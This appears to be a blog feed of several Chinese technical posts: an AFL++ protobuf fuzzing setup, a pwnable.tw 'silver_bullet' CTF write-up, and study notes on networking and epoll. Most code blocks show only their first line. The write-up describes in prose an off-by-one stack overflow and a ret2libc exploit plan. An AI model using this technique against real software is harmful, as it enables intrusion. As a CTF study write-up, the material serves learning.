:在执行 custom mutate 前需要执行的初始化操作,这里只需初始化一下随机种子。size_t afl_custom_fuzz(void *data, unsigned char *buf, size_t buf_size, unsigned char **out_buf, unsigned char *add_buf, size_t add_buf_size, size_t max_size)
:变异逻辑,在该代码中编写自己的变异逻辑。size_t afl_custom_post_process(void* data, uint8_t *buf, size_t buf_size, uint8_t **out_buf)
:将 protobuf::Message 格式的二进制数据转换成 target 可读的数据。void afl_custom_deinit(void *data)
:变异完成后需要做的事情,目前没有什么事情需要在这里进行处理。int32_t afl_custom_init_trim(void *data, uint8_t *buf, size_t buf_size)
:自定义 trim 逻辑的初始化。为了防止 trim 逻辑破坏 protobuf::Message 的二进制数据,影响正常的 Parse 过程,这里可以让该函数直接返回0,跳过每次的 trim 阶段。size_t afl_custom_trim(void *data, uint8_t **out_buf)
:自定义 trim 逻辑。由于afl_custom_init_trim
函数返回0,因此实际上该函数不会被调用,但我们仍然必须声明该函数以启用自定义 trim 逻辑。需要注意的是,这一整个
extern "C"
的代码以及内部用到的ProtoToDataHelper
函数的代码,必须全部放在afl-libprotobuf-mutator/src/mutate.cc
中。由于 afl-libprotobuf-mutator 较为久远,因此大部分 AFL++ 相关的接口需要修改亿下。
1 | // AFLPlusPlus interface |
当然,编写上面的代码需要做一次又一次的测试,这里放上笔者的测试代码片段。这部分测试代码位于 afl-libprotobuf-mutator/src/dump.cc
。
1 | inline std::string slurp(const std::string& path) { |
接下来只需在 afl-libprotobuf-mutator
文件夹下执行 ./build.sh && make
即可,完成后,在当前工作路径下将会生成 dumper
、libmutator.so
以及mutator
三个文件。我们可以利用 dumper 对上面的代码进行测试,libmutator.so 用于 afl++ 中的自定义变异。
现在压力来到了 AFL++ 这里(笑),我们先试试看能不能马上跑起来。
尝试执行以下命令来构建 AFL++:
1 | # 构建 AFLplusplus |
执行以下命令运行 AFL++:
1 | # AFL++ 构建完成后,进入 workdir 配置语料 |
别忘记在 workdir 中放点输入语料,语料可以通过 afl-libprotobuf-mutator/dumper
来随便生成一点。
运行时如果遇到 afl-quemu-trace
不存在,则单独执行AFLplusplus/qemu_mode/build_qemu_support.sh
构建即可。
相关源代码以及构建方式已开源至 github 上。
如果在运行 AFL++ 后,发现 fuzz 始终无法发现新路径,即路径始终只有一个,那么就必须考虑目标CTF文件是否可执行。以当前的 babyheap2021 为例,笔者在测试时初始 AFL++ 状态如下:
尝试直接执行 babyheap,发现 Permission Denied
无法执行。但即便赋以 excutable 权限,仍然无法执行,报错 no such file or directory
:
这一看,要么是架构问题,要么是 libc.so / ld.so 的问题。因此执行以下命令以更新 babyheap 所使用的 libc.so & ld.so,之后便可以正常执行。
1 | patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./babyheap |
跑起来效果,还行?(不是很懂.jpg)
补充于 2022/8/25 晚。
发现这篇文章好像有挺多人看的,而且还动手实践了(震惊)。之前想的是做一个 toy 出来玩玩,没想到有挺多人有这方面的需求。既然看的人多,那我得补充一些说明上去。
第一点,也是最重要的一点,我当初选择这个 babyheap 作为例子是一个非常错误的想法。babyheap 本身有一些坑,例如上面说的要执行一些命令来修正;还有内部 mmap 定向内存分配在 qemu 中是无法满足的,prctl 调用也会失败,会被直接 exit 掉,需要做一些 patch 操作,详情可查看评论区。
第二点,喂入 AFL 的 testcase 必须是 protobuf bin 格式的数据。即需要事先用 afl-libprotobuf-mutator/dumper
将明文输入转换为 protobuf bin 格式的数据,再来喂给 AFL;直接把用户的明文数据喂入 AFL 会导致异常。
第三点,AFLplusplus 的更新频率比我想象的要快很多。我当时使用的版本为 2021年10月的,现在过了这么久,很多接口和代码都发生了变动,需要注意这点!
第四点,有好几个师傅反应这个变异效果,有那么忆点点拉跨呀。这是因为 libprotobuf-mutator 的源码中内置了两种变异,一种是自己本身的变异逻辑,再一种是使用 libfuzzer 的变异逻辑。但关键是 libfuzzer 的变异逻辑的实现是空的,变异函数返回一个0…
1 | // https://github.com/google/libprotobuf-mutator/blob/e5869dd9690c3f4dfb842fb90bd07a5a9ee32172/src/libfuzzer/libfuzzer_mutator.cc#L55 |
但 protobuf fuzzer 用的就是 libfuzzer 的变异逻辑,因此得改一下代码。在每次变异之前,变异器会先获取 mutator,但这个 mutator 效果拉跨,因此需要修改这一句代码:
1 | // https://github.com/google/libprotobuf-mutator/blob/e5869dd9690c3f4dfb842fb90bd07a5a9ee32172/src/libfuzzer/libfuzzer_macro.cc#L126 |
现在用的是派生类的 Mutator,得把它换成基类 Mutator:
1 | // Randomly makes incremental change in the given protobuf. |
一直以为基类这个变异器才是 protobuf 变异的正统,那个派生变异器是个啥…
这里将保存部分做过的 pwnable.tw 的题解。
1 | patchelf --replace-needed ./libc_32.so.6 /home/Kiprey/Desktop/Pwn/libc_32.so.6 ./silver_bullet |
No canary && No PIE.
在 create_bullet
函数中,程序会要求用户输入一串字符串,并放置长度至特定位置。
这里看汇编会比伪代码更清楚一点
可以看到,程序将读入的字符串放入 char s[0x30]
的缓冲区中,并将其长度放至 s[0x30]
地址上。
而在 power_up
函数中,程序会额外读入 0x30-strlen(s)
的字符串,并拼接至原先的缓冲区字符串上。
关键的漏洞点在于strncat
这个函数的使用。通过查阅 Linux Manual Page,我们可以很容易的得到这样的一段话:
If src contains n or more bytes, strncat() writes n+1 bytes to dest (n from src plus the terminating null byte). Therefore, the size of dest must be at least strlen(dest)+n+1.
因此此处将会有一个 off-by-one 的漏洞,将存储字符串长度的内存位置覆盖为0,因此若下一次执行power_up
函数时,由于长度被覆盖为0,因此仍然可以继续拼接字符串至原先的字符串上,而这就造成了栈溢出。
对于栈溢出的利用,我们自然希望 main 函数可以正常 return,这样就可以利用被修改的 ret addr 来跳转至任意位置。但 main 函数若要正常 return,则需要让函数 beat
的返回值为1。
其中,怪物的血量为 0x7fffffff,而子弹的攻击值为 存放在s[0x30]。我们可以在 power_up
栈溢出时,先将 s[0x30] 覆盖为一个超大值,这样经过一番执行,最终的 s[0x30] 就是一个超大值:
这样最终我们便可以达到从 main 函数返回的目的。
栈溢出利用,我们可以先泄露 GOT 上的函数地址,算出 libc 基地址,最后算出 system 函数以及 bin_sh 的地址,然后跳转回 main 函数,重新覆盖 ret addr 为 system,并执行 /bin/sh。或者用 one_gadget 一把梭也很酸爽。
1 | # -*- coding: utf-8 -*- |
网络层在协议栈中是最复杂的层次。网络层可以被分解为两个相互作用的部分:数据平面和控制平面。
网络层的作用:将分组从一台发送主机移动到一台接收主机。有两种重要的网络层功能需要被使用:
需要注意的是,转发和路由选择是两个截然不同的词语。
每个网络路由器中都有一个转发表forwarding table。路由器检查到达分组首部的一个或多个字段,进而使用这些首部值在其转发表中索引,并通过这种方法来转发分组。
转发表的设置有两种方式:
传统的方式。路由选择算法决定了插入该路由器转发表中的内容。在一台路由器中的路由选择算法与在其他路由器中的路由选择算法通信,以计算出它的转发表的值。这种通信是通过根据路由选择协议交换包含路由选择信息的路由选择报文。
SDN方式。远程控制器计算和分发转发表以供每台路由器使用。控制平面路由选择功能与物理的路由器是分开的,路由选择设备只执行转发,而远程控制器计算并分发转发表。以下是**软件定义网络(Software-Defined Networking, SDK)**的一个例子:
网络服务模型
输入端口的线路段接功能与链路层处理实现了用于各个输入链路的物理层和链路层。转发表从路由选择处理器经过独立总线复制到线路卡。因此转发决策可以使用在每个输入端口的转发表副本,在每个输入端口本地做出,提高效率。
输出端口处理操作与输入端口类似,包括选择和取出排队中分组进行传输、执行所需的链路层和物理层传输功能。
当路由表中有多个匹配项时,路由器使用最长前缀匹配规则,即在该表中寻找最长的匹配项,并向与最长前缀匹配相关联的链路接口转发分组。
交换结构位于一台路由器的核心部位,正是通过这种结构,分组才能实际的从一个输入端口交换到一个输出端口。交换可以用许多方式完成:
当路由器的缓存空间被耗尽,无内存可用于储存到达的分组时将会出现丢包packet loss,即在网络中丢失或被路由器丢弃。排队有两种,一种是输入排队;另一种是输出排队。
以下说明的情况假定
- 所有链路速度相同。
- 一个分组能够以一条输入链路接收一个分组所用的相同的时间量,从任意一个输入端口传送到给定的输出端口。
- 分组按FCFS(先来先服务)方式,从一指定输入队列移动到其要求的输出队列中。只要其输出端口不同,多个分组可以被并行发送。
输入排队:
如果交换结构不能快的使所有到达分组无时延地通过它传送,那么输入端口也将出现分组排队,因为到达地分组必须加入输入端口队列中,以等待通过交换结构传送到输出端口。
如果位于两个输入队列前端的两个分组是发往同一输出队列的,则其中的一个分组将被阻塞,且必须在输入队列中等待。因为交换结构一次只能传送一个分组到某指定端口。
输入排队交换机中的线路前部Head-of-the-Line,HOL阻塞,即在一个输入队列中排队的分组,因为被位于线路前部的另一个分组所阻塞,使得必须等待通过交换结构发送。
输出排队:
当没有足够的内存来缓存一个入分组时,就必须做出决定:
在某些情况下,在缓存填满之前便丢弃一个分组(或在其首部加上标记),可以提前向发送方提供一个拥塞信号。这些处理分组丢失与标记的策略,统称为主动队列管理(Active Queue Management, AQM)算法。其中,刚刚所说明的随机早期检测(Random Early Detection, RED)算法是得到最广泛研究和实现的AQM算法之一。
计算路由器缓存大小的经验方法是:缓存数量(B)应该等于平均往返事件(RTT)乘以链路容量(C)。即$B=RTT * C$。该结果基于相对少量的TCP流的排队动态性分析得到。
例如一条具有250ms RTT的10Gbps链路需要的缓存量等于 B = 2.5Gb.
最近的实验表明,当有大量TCP流流过一条链路时,缓存所需要的数据量是$B=RTT * C / \sqrt{n}$。
先进先出。
优先权排队
循环和加权公平排队
在循环排队规则下,分组像使用优先权排队那样被分类。然而在类之间不存在严格的服务优先权,循环调度器在这些类之间轮流提供服务。一个所谓的保持工作队列(work-conserving queueing)规则在有任何类的分组排队等待传输时,不允许链路保持空闲。当寻找给定类的分组但没有找到时,将立即检查循环序列中的下一个类。
一种通用形式的循环排队已经广泛实现在路由器中,即加权公平排队(Weighted Fair Queuing, WFQ)规则。不同点在于,每个类在任何时间间隔内可能收到不同数量的服务,即第 i 类将确保接收到的服务部分等于 $W_i / W$,其中$W$为所有权重之和。
网络层分组统称为数据报。IPv4数据报格式如下:
其中,关键字段如下:
版本(号)。这4bit规定了数据报的IP协议版本。通过查看版本号,路由器能够确定如何解释IP数据报的剩余部分。不同的IP版本使用不同的数据报格式。
首部长度。一个IPv4数据报可包含一些可变数量的选项,故需要用这4bit来确定IP数据报中载荷实际开始的地方。大多数IP数据报不包含选项,所以通常具有20字节的首部。
服务类型。服务类型(TOS)比特包含在 IPv4首部中,以便使不同类型的IP数据报相互区分开。
数据报长度。IP数据报的总长度(首部+数据)。该字段有16比特的宽度。
标识、标志、片偏移。主要涉及到IP分片(重点)。
寿命。即Time-to-Live, TTL。用来确保数据报不会永远在网络中循环。每当一台路由器处理数据报时,该字段的值减1。若TTL字段为0,则该数据报必须丢弃。
协议。该字段通常只会在IP数据报到达最终目的地时才有效,主要指定IP数据报的数据部分应交付给哪个特定的运输层协议。例如 6 表示交付给TCP,17表示交付给UDP。
首部校验和。用于帮助路由器检测收到的IP数据报中的首部比特错误。路由器会对每个收到的IP数据报计算其首部校验和,如果检测出差错,一般情况下则丢弃该报文。
需要注意的是,在每台路由器上都必须重新计算检验和并再次存放到原处,因为TTL字段以及可能的选项字段会改变。
为什么TCP/IP 在运输层和网络层都执行差错检测?原因如下:
IP层只对IP首部计算了校验和,而TCP/UDP检验和是对整个TCP/UDP报文段进行的。
TCP/UDP与IP不一定必须属于同一个协议栈,原则上说TCP能够运行在一个不同的协议上。而IP不一定要传递TCP/UDP的数据。
源和目的IP地址。当某源生成一个数据报时,它在源IP字段插入它的IP地址,在目的IP字段中插入其最终目的地的地址。
注意:TCP/UDP中插入的是源和目的端口号,注意区分。
选项。该字段允许IP首部被扩展。
数据。目标传输的数据。
不是所有链路层协议都能承载相同长度的网络层分组。而一个链路层帧能承载的最大数据量叫做最大传送单元(Maximum Transmission Unit, MTU)。链路层协议的MTU严格限制IP数据报的长度,同时每条链路可能使用不同的链路层协议,有着不同的MTU。
若收到了一个IP数据报,转发时发现输出链路的MTU比该IP数据报的长度要小,则必须将IP数据报中的数据分片成两个或更多个较小的IP数据报,并用单独的链路层帧来封装这些较小的IP数据报,并最终通过输出链路发送这些帧。其中这些较小的数据报被称为片fragment。
由于分片机制的存在, 片到达目的地运输层之前需要重新组装。IPv4将数据报的重新组装工作放到端系统完成,而不是网络路由器中。
当一台目的主机从相同源收到一系列数据报时,它需要确定这些数据报中的某些是否是一些原来较大的数据报的片。如果是,则必须进一步确认何时收到最后一片,并判断如何将这些接收到的片拼接在一起以形成初始的数据报。为了实现这些任务,IPv4将标识、标志和片偏移字段放在IP数据报首部中。使用方式如下所示:
这样,当目的地从同一个发送主机收到一系列数据报时,它能够检查数据报的标识号以确定哪些数据实际上是同一较大数据报的片。
注意这里的标识号,其功能同样与TCP中的序号不同,切勿混淆!
为了让目的主机相信它已经收到初始数据报的最后一片,最后一个片的标志比特被设置为0,而所有其他片的标志比特被设置为1。同时为了让目的主机确定是否丢失一个片,并且按照正确顺序重新组装片,使用偏移字段指定该片应放在初始IP数据报中的哪个位置。
主机与物理链路之间的边界叫做接口interface。因为每台主机与路由器都能发送和接收IP数据报,IP要求每台主机和路由器接口拥有自己的IP地址,因此从技术上讲,一个IP地址与一个接口相关联,而不是与包括该接口的主机或路由器相关联。
以下是一个IP编址与接口的例子。其中某一部分的四个接口通过一个并不包含路由器的网络互联起来,例如以太网交换机等等,在此处用一朵云来表示:
互联这3个主机接口与一个路由器接口的网络形成一个子网。IP编址为这个子网分配一个地址223.1.1.0/24,其中的/24
记法,称为子网掩码,表示32比特中的最左侧24比特定义了子网地址。
一个子网的IP定义并不局限于连接多台主机到一个路由器接口的以太网段。子网的定义如下所示:
为了确认子网,分开主机和路由器的每个接口,产生几个隔离的网络岛,使用接口端接这些隔离的网络的端点。这些隔离的网络中的每一个都叫做一个子网subnet。
一个简单的例子:
因特网的地址分配策略被称为无类别域间路由选择Classless Interdomain Routing, CIDR。当使用子网寻址时,32比特的IP地址被划分成两部分,并具有点分十进制数形式a.b.c.d/x
,其中x指示了地址的第一部分中的比特数。形式为a.b.c.d/x
的地址的x的最高比特构成了IP地址的网络部分,并且经常被称为该地址的前缀。
注意:路由表使用最长前缀匹配原则。
在CIDR被采用之前,IP地址的网络部分被限制为长度为8、16、24比特,这是一种称为分类编址的编址方案。这是因为具有8、16和24比特子网地址的子网分别称为A、B和C类网络。
255.255.255.255
为IP广播地址。当一台主机发出一个目的地址为255.255.255.255
的数据报时,该报文会交付给同一个网络中的所有主机。路由器也会有选择地向邻近的子网发送该报文。
获取主机地址:动态主机配置协议
动态主机配置协议(Dynamic Host Configuration, DHCP)允许主机自动获取一个IP地址。除了IP地址分配以外,DHCP还允许让主机得知其子网掩码、第一跳路由器地址(即默认网关)、本地DNS服务器地址等等。DHCP具有将主机连接进一个网络的网络相关方面的自动能力,故它又常被称为即插即用协议或零配置协议。
DHCP是一个客户-服务器协议。客户通常是新到达的主机,它要获取包括自身使用的IP地址在内的网络配置信息。因此在最简单场合下,每个子网将具有一台DHCP服务器。如果在某子网中没有服务器,则需要一个DHCP中继代理(通常是一台路由器),该代理知道用于该网络的DHCP服务器的地址。
DHCP分配地址给新到达客户的流程如下:
DHCP服务器发现。一台新到达的主机的首要任务是发现一个要与其交互的DHCP服务器,这通过使用DHCP发现报文来完成。
客户使用UDP向端口67发送该发现报文,其中目标IP地址中填入广播地址255.255.255.255
;源IP地址中填写本机地址0.0.0.0
。
DHCP服务器提供。当DHCP服务器收到一个DHCP发现报文时,用DHCP提供报文向客户端做出响应。该报文向该子网的所有结点广播,仍然使用IP广播地址。由于在子网中可能存在多个DHCP服务器,因此该客户或许可以在多个提供的IP地址中进行选择。
每台服务器提供的报文包含有收到的发现报文的事务ID、向客户端推荐的IP地址、网络掩码以及IP地址租用期。
DHCP请求。新到达的客户从一个或多个服务器提供中选择一个,并向选中的服务器提供用DHCP请求报文进行响应,回显配置的参数。
DHCP ACK。服务器用DHCP ACK报文对DHCP请求报文进行响应,证实所要求的参数。
网络地址转换,即 NAT,可以使能路由器对于外部世界来说不像一台服务器,而是如同一个具有单一 IP 地址的单一设备,使得路由器对外界隐藏了内部网络细节。
]]>epoll 是 Linux 内核为了处理大批量的文件描述符而改进的 poll,是 Linux 下多路复用IO接口select/poll的增强版本。epoll可以显著提高程序在大量并发连接中只有少量活跃的情况下的系统的CPU利用率。
服务器要管理多个客户端的连接,而 recv 函数只能监视单个 socket,因此引入了 select/poll。
但 select 能监测的文件描述符个数限制在 FD_SETSIZE,通常是1024个。这对于并发量达到上万的服务器来说显然不够。与之相对的是,epoll所支持的fd上限是最大可以打开的数目,具体数字可以cat /proc/sys/fs/file-max
查看(本人机器上该值为9223372036854775807
)。
当存在部分活跃socket时,传统 select/poll 会线性扫描整个socket集合,这会让效率随着socket数量的增加而线性下降,而这就是限制了 select 最大监视数量的原因,程序被唤醒后不知道是哪个 socket 处于活跃状态,需要遍历。
而 epoll 是基于每个 fd 上面的 callback 函数实现,因此只会对活跃的 socket 进行处理,效率更高。
select、poll、epoll之间的区别
epoll提供了两种触发方式
epoll API 的核心概念为 epoll 实例,它是一个内核数据结构。从用户空间角度上考虑,可以将其视为两个列表:
The interest list (有时也称作 epoll set)。它是一个存放已经注册 interest 的文件描述符集合。
这个 interest 不太好翻译。可以简单的认为是工作列表。
为了便于说明,下文中关于 interest list相关的说明,一律以工作列表等价替换。
The ready list。即就绪列表,是工作列表中,一组文件描述符子集的引用。当工作列表中存在某个文件描述符有IO活动,内核将会动态的把当前文件描述符填充至就绪列表中。
有些函数会涉及到关于 epoll 实例的操作
epoll_create
:新建一个 epoll 实例,执行时会返回一个指向 epoll 实例的文件描述符。epoll_ctl
:动态设置某个 epoll 实例的工作列表上的条目。epoll_wait
:等待IO事件。如果当前没有事件(即就绪队列为空)则阻塞等待。水平触发和边缘触发
思考一下这个例子:
epoll_wait
等待IO事件,返回 rfd。epoll_wait
。结果是?如果文件描述符 rfd 被注册进 epoll 实例时使用边缘触发模式(EPOLLET),那么第5步的函数调用将会被挂起,即便有数据没有读完。因为边缘触发模式仅在受监视的文件描述符上发生更改才会传送事件。
使用边缘触发模式时,最好使用非阻塞的文件描述符,这样可以避免阻塞其他等待读写的任务。
水平触发模式在第5步的函数调用中不会被挂起,而是返回 rfd,因为缓冲区中仍然存在没有读完的数据。
一个简单的例子
1 |
|
注意事项
函数声明
1 |
|
功能:打开一个指向新的 epoll 实例的文件描述符,该描述符将会用在所有 epoll 族的函数中。当该文件描述符不再使用时,使用close
函数关闭。
函数参数size:调用者希望添加到epoll实例的文件描述符的数量。内核将使用该数量来提示初始时存放事件的内部数据结构中所分配的空间量。
自 Linux 2.6.8 以后,epoll_create 中的 size参数被忽略,原因是现在的内核无需任何提示的size,即可动态调整所需数据结构的大小。
但是,size 不能传0。这是为了向后兼容。
返回值
如果执行成功,则返回一个非负整数的文件描述符。否则返回-1并设置errno。
函数声明
1 |
|
功能:添加、修改或移除 参数 epfd 维护的工作列表中的条目。其中要求对目标描述符 fd 执行操作 op。
参数说明
epfd:待操作的epoll 实例的文件描述符
op:操作码,有以下几个可选项:
fd:待操作的目标文件描述符
event:epoll事件结构
该结构如下所示:
1 | typedef union epoll_data { |
其中的events
参数是一系列事件枚举的OR运算结果。事件枚举主要有以下几种:
EPOLLIN:关联的 fd 可用于 read 操作。
EPOLLOUT:关联的 fd 可用于 write 操作。
EPOLLRDHUP:远程主机关闭了连接。该标志对于在边缘触发模式下检查连接是否被关闭,有很大的帮助。
EPOLLET:对关联的 fd 使用边缘触发模式,默认状态下是水平触发模式。
EPOLLONESHOT:设置关联 fd 的单发行为。当使用 epoll_wait 将目标fd提取事件以后,当前fd将会在内部被禁用,此时 epoll 不会再报告其他事件。
这在 socket 里相当有用,即便使用ET模式,一个socket上的某个事件还是可能被触发多次。例如希望处理完当前socket的当前事件后,再来处理该socket的下一个事件,顺序处理。
处理完成后,用户必须手动调用 epoll_ctl 重置该标志位。
EPOLLEXCLUSIVE:若有多个 epoll 实例关联当前 fd时,默认情况下当该fd有事件发生时,所有关联 epoll 实例均会收到事件。而倘若设置了EPOLLEXCLUSIVE标志,则每次事件来临时只会唤醒一个 epoll 实例,避免惊群效应。
返回值说明
函数声明
1 |
|
功能:等待 epoll 实例中的事件发生。
epoll_wait
和epoll_pwait
的不同点在于:epoll_pwait
可以指定忽略部分信号。
参数说明
events
数组中,注意该参数必须大于0。-1
将导致该函数无限期阻塞;置为0将导致函数立即返回,而不管是否存在可用事件。该时间基于CLOCK_MONOTONIC时钟测量。返回值说明
若执行成功,则该函数返回处于就绪状态的文件描述符个数(起始可以简单看作事件个数)。
如果等待超时,则返回0,表示没有处于就绪状态的文件描述符。
若有错误发生,则返回 -1 并设置 errno。
注意:若wait被 signal 中断,则 errno 会设置为 EINTR。
其他说明
对于返回的事件中,某个epoll_event结构体中的 events 字段可能会被 epoll API 设置以下几种错误标志
EPOLLHUP:相关联的 fd 被中断。该事件只表示远程主机关闭了该连接。当读取完管道中剩余的数据后,读取端会收到一个 EOF。
每个返回的 epoll_event 包含的 data 字段与最近调用 epoll_ctl(EPOLL_CTL_ADD,EPOLL_CTL_MOD)中为相应打开文件描述所指定的data 字段相同。 其中,events字段将会包含返回的事件位标志。
epoll_event::data 是一个随着事件一起携带的字段,功能类似于多线程调用中的线程参数传递。
epoll 实例的就绪队列中可能会同时存在多个事件。那么在调用 epoll_wait 函数时,该函数将会把对应的所有事件中的一小部分(maxevents 限制)统一返回给用户,而不是调用一次返回一个事件。
接上条,若事件个数超过 maxevents ,则接下来的epoll_wait调用将循环访问就绪文件描述符集。 此行为有助于避免出现饥饿的情况,即防止由于进程集中在一组已知的就绪文件描述符上,而无法注意到其他文件描述符进入就绪状态。
若epoll 实例的工作队列为空,则仍然可以执行 epoll_wait函数,该函数的运行将被阻塞,直到有文件描述符放入该工作队列并转为就绪状态。
所有的联网设备称为主机(host)或者端系统(end system)。
端系统通过通信链路communication link和分组交换机packet switch相连。
网络核心
通过网络链路和交换机移动数据有两种基本方法:电路交换和分组交换。
分组交换:
在各种网络应用中,端系统彼此交换报文message,报文能够包含协议设计者需要的任何东西,例如控制功能、数据等。
为了从源端系统向目的端系统发送一个报文,源将长报文划分为较小的数据块,称之为分组packet。
多数分组交换机在链路的输入端使用存储转发传输store-and-forward transmission机制。指的是在交换机能够开始向输出链路传输该分组的第一个比特之前,必须接收到整个分组。
排队时延和分组丢失
电路交换
当两台主机通信时,该网络在两台主机之间创建一条专用的端到端连接。因此必须在两条链路的每条上先预留一条电路。
电路交换网络中的复用
链路中的电路是通过频分复用FDM或时分复用TDM来实现。
对于频分复用FDM来说,链路的频谱由跨越链路创建的所有连接共享,为每个连接专用一个频段,例如收音机。
对于时分复用TDM来说,时间被划分为固定区间的帧,每帧被划分为固定数量的时隙。网络跨越一条链路创建一条连接时,网络在每个帧中为该连接指定一个时隙。这些时隙专门由该链接单独使用。
分组交换比电路交换更有效:
电路交换不考虑需求,而预先分配了传输链路的使用,使得效率较低。分组交换按需分配链路使用,效率较高。
分组交换的时延
节点处理时延:检查分组首部和决定将该分组导向何处所需要的时间,以及检查比特级别的差错等时间。
排队时延:在队列中,当分组在链路上等待传输时,它经受排队时延。一个特定分组的排队时延长度取决于先期到达的正在排队等待向链路传输的分组数量。
传输时延:传输时延是将特定分组的所有比特,发射进链路所需要的时间。传输时延与分组大小呈正相关。
传播时延:从该链路的起点到下一个路由器传播所需要的时间。
注意:传输时延和传播时延不是一回事,两者概念完全不同。
四个相加即总时延。$d_{nodal}=d_{proc}+d_{queue}+d_{trans}+d_{prop}$
协议分层
应用层:网络应用程序以及他们的应用层协议存留的地方,例如http、smtp等。
运输层:运输层在应用程序端点之间传送应用层报文,有以下两种运输协议:
将运输层的分组称为报文段segment。
网络层:网络层负责将称为数据报datagram的网络层分组从一台主机移动到另一台主机。网络层包括著名网际协议IP。
链路层:网络层通过源和目的地之间的一系列路由器来 路由(注意这是动词) 数据报。为了将分组从一个结点移动到路径上的下一个结点,网络层必须依靠该链路层的服务。
将链路层分组称为帧frame。链路层的任务是将整个帧从一个网络元素移动到邻近的网络元素。该层协议与链路层相关。
物理层:物理层的任务是将每个帧中的一个个比特从一个节点移动到下一个节点。该层协议与链路相关,并进一步与链路的实际传输媒体相关,例如双绞铜线、单模光纤等。
各层的所有协议称为协议栈。
TCP服务
面向连接的服务:
在应用层数据报文开始流动之前,TCP让客户和服务器互相交换运输层控制信息。这个握手过程提醒客户和服务器为大量分组的到来做好准备。
三次握手完成后,一个TCP连接就在两个进程之间建立,该连接是全双工的,即连接的双方可以在此连接上同时进行报文的收发。
当应用程序结束报文发送时,必须拆除该连接。
可靠的数据传送服务:
通信进程能够依靠TCP,无差错、按顺序交付所有发送的数据,无字节丢失或冗余。
具有拥塞控制机制。
安全套接字SSL:TCP的加强版本,即加密版本。
SSL有自己的套接字API,应用向SSL套接字传递明文数据,发送主机中SSL加密该数据并将加密后数据传递给发送端TCP套接字。接收端套接字接收到加密数据,将其解密,并通过SSL套接字将明文数据传递给接收进程。
UDP服务
请求报文样例如下:
1 | GET /somedir/page.html HTTP/1.1 |
具体请求报文通用格式如下:
响应报文样例如下:
1 | HTTP/1.1 200 OK |
具体通用格式如下:
web 缓存
Web缓存也称代理服务器,其工作流程如下:
浏览器创建一个到Web缓存器的TCP连接,并向Web缓存器中的对象发送一个 HTTP 请求。
Web缓存器进行检查
如果本地存储了对象副本,则Web缓存器向客户浏览器用HTTP响应报文返回该对象。
如果没有存储该对象,则打开一个与该对象的初始服务器的TCP连接,并在该连接上发起一个HTTP请求。受到请求后,初始服务器向该web缓存器发送具有该对象的http响应。
当Web缓存器接收到对象后,在本地存储空间存储一份副本,并向客户的浏览器用HTTP响应报文发送该副本。
存放在Web缓存器中的对象副本可能是陈旧的,而http协议允许缓存器证实它的对象是最新的,即条件GET方法:
如果Web缓存器向初始服务器发送条件get报文时:
主机的一种标识方式是使用其主机名hostname。
DNS是
DNS提供的服务
主机名到IP地址的转换
主机别名:有着复杂主机名的主机能够拥有一个或多个别名。
例如一台名为relay1.west-coast.enterprise.com
的主机,可能还有两个别名为enterprise.com
和www.enterprise.com
的主机。在这种情况下,relay1.west-coast.enterprise.com
也称为规范主机名canonical hostname。主机别名比主机规范名更加容易记忆。
邮件服务器别名:电子邮件应用程序可以调用DNS,对提供的主机名别名进行解析,以获得该主机的规范主机名及其IP地址。
负载分配:DNS也用在冗余的服务器之间进行负载分配。
DNS工作机理概述
分布式、层次数据库
本地DNS服务器:严格来说不属于DNS服务器的层次结构。本地服务器起着代理的作用,将DNS请求转发到DNS服务器层次结构中。
DNS查询分为两种:递归查询和迭代查询。
迭代查询
递归查询
DNS缓存
原理:当某DNS服务器接收一个DNS回答时,DNS缓存能将映射缓存在本地存储器中。
如果在DNS服务器中缓存了一台主机/IP地址对,另一个对相同主机名的查询到达该DNS服务器时,该DNS服务器就能提供所要求的IP地址,即使它不是该主机名的权威服务器。
由于主机和主机名与IP地址间的映射并不是永久的,DNS服务器在一段时间后将丢弃缓存的信息。
本地DNS服务器也能够缓存TLD服务器的IP地址,因而允许本地DNS绕过查询链中的根DNS服务器。因为缓存的存在,除了少数DNS查询以外,根服务器被绕过了。
DNS记录和报文
共同实现DNS分布式数据库的所有DNS服务器存储了资源记录(Resource Recode, RR),其中提供了主机名到IP地址的映射。每个DNS回答报文中包含了一条或多条的资源记录。
资源记录是一个包含了下列字段的4元组:(Name, Value, Type, TTL)
其中,TTL是该记录的生存时间,决定了资源记录应当从缓存中删除的时间。
Name和Value的值取决于Type:
如果Type = A,则 Name 是主机名, Value 是该主机名对应的IP地址。即一条类型为A的资源记录提供了标准的主机名到IP地址的映射。例如 (relay1.bar.foo.com, 145.37.93.126, A)
如果Type = NS,则 Name 是一个域(例如foo.com
),而 Value 是个知道如何获取该域中主机IP地址的权威DNS服务器的主机名。这个记录用于沿着查询链来路由DNS查询。例如 (foo.com, dns.foo.com, NS)
如果 Type = CNAME,则 Value 是个别名为 Name 的主机对应的规范主机名。该记录能够向查询的主机提供一个主机名对应的规范主机名。例如 (foo.com, relay1.bar.foo.com, CNAME)
如果Type = MX,则 Value 是个别名为 Name 的邮件服务器的规范主机名。例如 (foo.com, mail.bar.foo.com, MX)。MX记录允许邮件服务器主机名具有简单的别名。
注意:通过MX记录,一个公司的邮件服务器和其他服务器(例如Web服务器)可以使用相同的别名。为了获取邮件服务器的规范主机名,DNS客户应该请求一条MX记录;而为了获取其他服务器的规范主机名,应该请求CNAME记录。
如果一台DNS服务用于某特定主机名的权威DNS服务器,那么该DNS服务器会有一条包含用于该主机名的类型A记录。
如果服务器不是用于某主机名的权威DNS服务器,那么该服务器将包含一条类型NS记录,该记录对应于包含主机名的域;同时还将包括一条类型A记录,提供在NS记录的Value字段中的DNS服务器的IP地址。
DNS报文格式如下,只有查询和回答两种报文,并且格式相同:
UDPClient.py
1 | from socket import * |
UDPServer.py
1 | from socket import * |
TCPClient.py
1 | from socket import * |
TCPServer.py
1 | from socket import * |
运输层协议为运行在不同主机上的应用进程之间提供了逻辑通信logic communication功能。从应用程序的角度来看,通过逻辑通信,运行不同进程的主机好像直接相连一样。
TCP和UDP是运输层协议中的一种,但运输层协议不是只有这两种。
将运输层TCP/UDP分组称为报文段segment,将网络层分组称为数据报datagram。
因特网网络层协议中有一个协议为网际协议IP,其服务模型是尽力而为交付服务,称为不可靠服务。每台主机至少有一个网络层地址,即IP地址。
将主机间交付扩展到进程间交付被称为运输层的多路复用与多路分解。
将运输层报文段中的数据交付到正确的套接字的工作称为多路分解。
从不同套接字中收集数据块、为每个数据块封装上首部信息,以生成报文段,并最终传递到网络层。这些工作统称为多路复用。
运输层多路复用要求
运输层实现分解服务的过程
无连接的多路复用与多路分解
